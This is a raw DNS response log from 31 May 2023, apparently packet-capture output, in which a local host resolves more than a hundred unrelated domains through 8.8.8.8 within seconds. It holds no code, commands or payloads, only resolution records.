May 31, 2023 14:50:27.051672935 CEST	8.8.8.8	192.168.2.3	0xd921	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.051672935 CEST	8.8.8.8	192.168.2.3	0xd921	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.053257942 CEST	8.8.8.8	192.168.2.3	0xc9e3	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.103087902 CEST	8.8.8.8	192.168.2.3	0x95a	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.276002884 CEST	8.8.8.8	192.168.2.3	0x2f62	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.276002884 CEST	8.8.8.8	192.168.2.3	0x2f62	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.350581884 CEST	8.8.8.8	192.168.2.3	0xc315	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.350581884 CEST	8.8.8.8	192.168.2.3	0xc315	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.350581884 CEST	8.8.8.8	192.168.2.3	0xc315	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.354688883 CEST	8.8.8.8	192.168.2.3	0x9d2	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.354688883 CEST	8.8.8.8	192.168.2.3	0x9d2	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.354688883 CEST	8.8.8.8	192.168.2.3	0x9d2	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.355073929 CEST	8.8.8.8	192.168.2.3	0x4b81	No error (0)	www.rs-ag.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.355073929 CEST	8.8.8.8	192.168.2.3	0x4b81	No error (0)	www.rs-ag.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.396816969 CEST	8.8.8.8	192.168.2.3	0xa8f6	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.396816969 CEST	8.8.8.8	192.168.2.3	0xa8f6	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.396816969 CEST	8.8.8.8	192.168.2.3	0xa8f6	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.651932955 CEST	8.8.8.8	192.168.2.3	0xd0b0	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.651932955 CEST	8.8.8.8	192.168.2.3	0xd0b0	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.651932955 CEST	8.8.8.8	192.168.2.3	0xd0b0	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.687628031 CEST	8.8.8.8	192.168.2.3	0x4b0c	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.691669941 CEST	8.8.8.8	192.168.2.3	0x10ba	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.691669941 CEST	8.8.8.8	192.168.2.3	0x10ba	No error (0)	ghs.googlehosted.com		216.58.215.243	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.744810104 CEST	8.8.8.8	192.168.2.3	0x6c8b	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.894578934 CEST	8.8.8.8	192.168.2.3	0x56c7	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.894578934 CEST	8.8.8.8	192.168.2.3	0x56c7	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.894578934 CEST	8.8.8.8	192.168.2.3	0x56c7	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.955099106 CEST	8.8.8.8	192.168.2.3	0x8636	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.955099106 CEST	8.8.8.8	192.168.2.3	0x8636	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.955099106 CEST	8.8.8.8	192.168.2.3	0x8636	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.979413986 CEST	8.8.8.8	192.168.2.3	0x2fc9	No error (0)	www.petsfan.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.979413986 CEST	8.8.8.8	192.168.2.3	0x2fc9	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:27.979413986 CEST	8.8.8.8	192.168.2.3	0x2fc9	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:27.979413986 CEST	8.8.8.8	192.168.2.3	0x2fc9	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.178040981 CEST	8.8.8.8	192.168.2.3	0x9c8d	No error (0)	www.railbook.net		103.224.212.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.263012886 CEST	8.8.8.8	192.168.2.3	0x836b	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.269774914 CEST	8.8.8.8	192.168.2.3	0x442d	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:28.269774914 CEST	8.8.8.8	192.168.2.3	0x442d	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:28.269774914 CEST	8.8.8.8	192.168.2.3	0x442d	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.270473957 CEST	8.8.8.8	192.168.2.3	0xd7aa	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.270473957 CEST	8.8.8.8	192.168.2.3	0xd7aa	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.286861897 CEST	8.8.8.8	192.168.2.3	0x15fb	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.286861897 CEST	8.8.8.8	192.168.2.3	0x15fb	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.300519943 CEST	8.8.8.8	192.168.2.3	0x1ea7	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.957921028 CEST	8.8.8.8	192.168.2.3	0xdead	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.957921028 CEST	8.8.8.8	192.168.2.3	0xdead	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.960000038 CEST	8.8.8.8	192.168.2.3	0xede	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.961494923 CEST	8.8.8.8	192.168.2.3	0x551b	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.965622902 CEST	8.8.8.8	192.168.2.3	0xd9e6	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:28.965622902 CEST	8.8.8.8	192.168.2.3	0xd9e6	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.966422081 CEST	8.8.8.8	192.168.2.3	0x5871	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:28.966422081 CEST	8.8.8.8	192.168.2.3	0x5871	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:28.998758078 CEST	8.8.8.8	192.168.2.3	0x11f9	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.568417072 CEST	8.8.8.8	192.168.2.3	0x2a7d	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.568444967 CEST	8.8.8.8	192.168.2.3	0xc598	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:29.568444967 CEST	8.8.8.8	192.168.2.3	0xc598	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.578504086 CEST	8.8.8.8	192.168.2.3	0x89fc	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:29.578504086 CEST	8.8.8.8	192.168.2.3	0x89fc	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.593394041 CEST	8.8.8.8	192.168.2.3	0x3d7d	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:29.593394041 CEST	8.8.8.8	192.168.2.3	0x3d7d	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.691967010 CEST	8.8.8.8	192.168.2.3	0x251	No error (0)	www.cokocoko.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:29.691967010 CEST	8.8.8.8	192.168.2.3	0x251	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:29.691967010 CEST	8.8.8.8	192.168.2.3	0x251	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.691967010 CEST	8.8.8.8	192.168.2.3	0x251	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.692594051 CEST	8.8.8.8	192.168.2.3	0x4fbb	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:29.692594051 CEST	8.8.8.8	192.168.2.3	0x4fbb	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.693996906 CEST	8.8.8.8	192.168.2.3	0x4c94	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.693996906 CEST	8.8.8.8	192.168.2.3	0x4c94	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:29.985950947 CEST	8.8.8.8	192.168.2.3	0x9792	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:29.985950947 CEST	8.8.8.8	192.168.2.3	0x9792	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.166649103 CEST	8.8.8.8	192.168.2.3	0x5bc3	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.227087975 CEST	8.8.8.8	192.168.2.3	0x5191	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:30.227087975 CEST	8.8.8.8	192.168.2.3	0x5191	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.236974001 CEST	8.8.8.8	192.168.2.3	0xf609	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.242264986 CEST	8.8.8.8	192.168.2.3	0x2afe	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.653852940 CEST	8.8.8.8	192.168.2.3	0xad3d	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.657614946 CEST	8.8.8.8	192.168.2.3	0xbfa1	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.660372972 CEST	8.8.8.8	192.168.2.3	0xcdbc	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.660372972 CEST	8.8.8.8	192.168.2.3	0xcdbc	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.664343119 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:30.664343119 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.954222918 CEST	8.8.8.8	192.168.2.3	0x22cc	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:30.960412979 CEST	8.8.8.8	192.168.2.3	0xd2bd	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.178523064 CEST	8.8.8.8	192.168.2.3	0xd91e	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.409759998 CEST	8.8.8.8	192.168.2.3	0xc70f	No error (0)	www.netcr.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:31.409759998 CEST	8.8.8.8	192.168.2.3	0xc70f	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:31.409759998 CEST	8.8.8.8	192.168.2.3	0xc70f	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.409759998 CEST	8.8.8.8	192.168.2.3	0xc70f	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.409789085 CEST	8.8.8.8	192.168.2.3	0x4f95	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.412136078 CEST	8.8.8.8	192.168.2.3	0xe5aa	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.412136078 CEST	8.8.8.8	192.168.2.3	0xe5aa	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.416763067 CEST	8.8.8.8	192.168.2.3	0x81b4	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.692527056 CEST	8.8.8.8	192.168.2.3	0xa2af	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:31.860066891 CEST	8.8.8.8	192.168.2.3	0xf8f2	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.163153887 CEST	8.8.8.8	192.168.2.3	0x5764	No error (0)	www.dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.163153887 CEST	8.8.8.8	192.168.2.3	0x5764	No error (0)	www.dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.173154116 CEST	8.8.8.8	192.168.2.3	0xabad	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.179574013 CEST	8.8.8.8	192.168.2.3	0x765c	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:32.179574013 CEST	8.8.8.8	192.168.2.3	0x765c	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:32.179574013 CEST	8.8.8.8	192.168.2.3	0x765c	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.348546028 CEST	8.8.8.8	192.168.2.3	0x22e9	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:32.348546028 CEST	8.8.8.8	192.168.2.3	0x22e9	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:32.348546028 CEST	8.8.8.8	192.168.2.3	0x22e9	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.348546028 CEST	8.8.8.8	192.168.2.3	0x22e9	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.94	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.348546028 CEST	8.8.8.8	192.168.2.3	0x22e9	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.87	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.348546028 CEST	8.8.8.8	192.168.2.3	0x22e9	No error (0)	d2kt7vovxa5e81.cloudfront.net		18.66.192.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.413074970 CEST	8.8.8.8	192.168.2.3	0x4265	No error (0)	www.stajum.com		162.43.120.128	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.722878933 CEST	8.8.8.8	192.168.2.3	0xc9e3	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:32.722878933 CEST	8.8.8.8	192.168.2.3	0xc9e3	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.757852077 CEST	8.8.8.8	192.168.2.3	0x78ed	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:32.874310970 CEST	8.8.8.8	192.168.2.3	0x71c4	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:33.331510067 CEST	8.8.8.8	192.168.2.3	0x2fb7	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:33.331510067 CEST	8.8.8.8	192.168.2.3	0x2fb7	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:33.331510067 CEST	8.8.8.8	192.168.2.3	0x2fb7	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:33.331510067 CEST	8.8.8.8	192.168.2.3	0x2fb7	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:33.331510067 CEST	8.8.8.8	192.168.2.3	0x2fb7	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:33.820192099 CEST	8.8.8.8	192.168.2.3	0x98b8	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.074445009 CEST	8.8.8.8	192.168.2.3	0x96df	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.375449896 CEST	8.8.8.8	192.168.2.3	0x5081	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.826225042 CEST	8.8.8.8	192.168.2.3	0xf4c5	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:35.826225042 CEST	8.8.8.8	192.168.2.3	0xf4c5	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.826225042 CEST	8.8.8.8	192.168.2.3	0xf4c5	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.826225042 CEST	8.8.8.8	192.168.2.3	0xf4c5	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:35.826225042 CEST	8.8.8.8	192.168.2.3	0xf4c5	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:36.021099091 CEST	8.8.8.8	192.168.2.3	0x6f43	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:37.012913942 CEST	8.8.8.8	192.168.2.3	0x3f2f	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:37.012913942 CEST	8.8.8.8	192.168.2.3	0x3f2f	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:37.012913942 CEST	8.8.8.8	192.168.2.3	0x3f2f	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:38.206168890 CEST	8.8.8.8	192.168.2.3	0x95b6	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:38.206168890 CEST	8.8.8.8	192.168.2.3	0x95b6	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:39.052289009 CEST	8.8.8.8	192.168.2.3	0x54b2	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:40.257003069 CEST	8.8.8.8	192.168.2.3	0x685	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:40.266386032 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:40.266386032 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:40.266386032 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:41.778063059 CEST	8.8.8.8	192.168.2.3	0x5f7a	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:41.793642998 CEST	8.8.8.8	192.168.2.3	0xe88f	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:42.057226896 CEST	8.8.8.8	192.168.2.3	0xc6ef	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:42.057226896 CEST	8.8.8.8	192.168.2.3	0xc6ef	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:42.517349005 CEST	8.8.8.8	192.168.2.3	0x1358	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:42.981800079 CEST	8.8.8.8	192.168.2.3	0xc	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:44.351535082 CEST	8.8.8.8	192.168.2.3	0x637a	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:44.351535082 CEST	8.8.8.8	192.168.2.3	0x637a	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:44.351535082 CEST	8.8.8.8	192.168.2.3	0x637a	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.228.163.56	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:44.351535082 CEST	8.8.8.8	192.168.2.3	0x637a	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.197.121.219	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:44.677417040 CEST	8.8.8.8	192.168.2.3	0x9848	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:44.776107073 CEST	8.8.8.8	192.168.2.3	0xc97	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:44.776107073 CEST	8.8.8.8	192.168.2.3	0xc97	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:45.286834955 CEST	8.8.8.8	192.168.2.3	0xbd26	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.114433050 CEST	8.8.8.8	192.168.2.3	0xc35c	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.120810032 CEST	8.8.8.8	192.168.2.3	0x46db	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.320025921 CEST	8.8.8.8	192.168.2.3	0xe7a4	No error (0)	www.tc17.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.320025921 CEST	8.8.8.8	192.168.2.3	0xe7a4	No error (0)	www.tc17.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.635704041 CEST	8.8.8.8	192.168.2.3	0xed4f	No error (0)	www.railbook.net		103.224.212.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:46.944744110 CEST	8.8.8.8	192.168.2.3	0x8b45	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:46.944744110 CEST	8.8.8.8	192.168.2.3	0x8b45	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:47.999006033 CEST	8.8.8.8	192.168.2.3	0x7322	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.223726988 CEST	8.8.8.8	192.168.2.3	0x48e5	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:50:48.223726988 CEST	8.8.8.8	192.168.2.3	0x48e5	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.223726988 CEST	8.8.8.8	192.168.2.3	0x48e5	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.223726988 CEST	8.8.8.8	192.168.2.3	0x48e5	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.223726988 CEST	8.8.8.8	192.168.2.3	0x48e5	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.417203903 CEST	8.8.8.8	192.168.2.3	0x6a96	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:50:48.633390903 CEST	8.8.8.8	192.168.2.3	0xc841	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
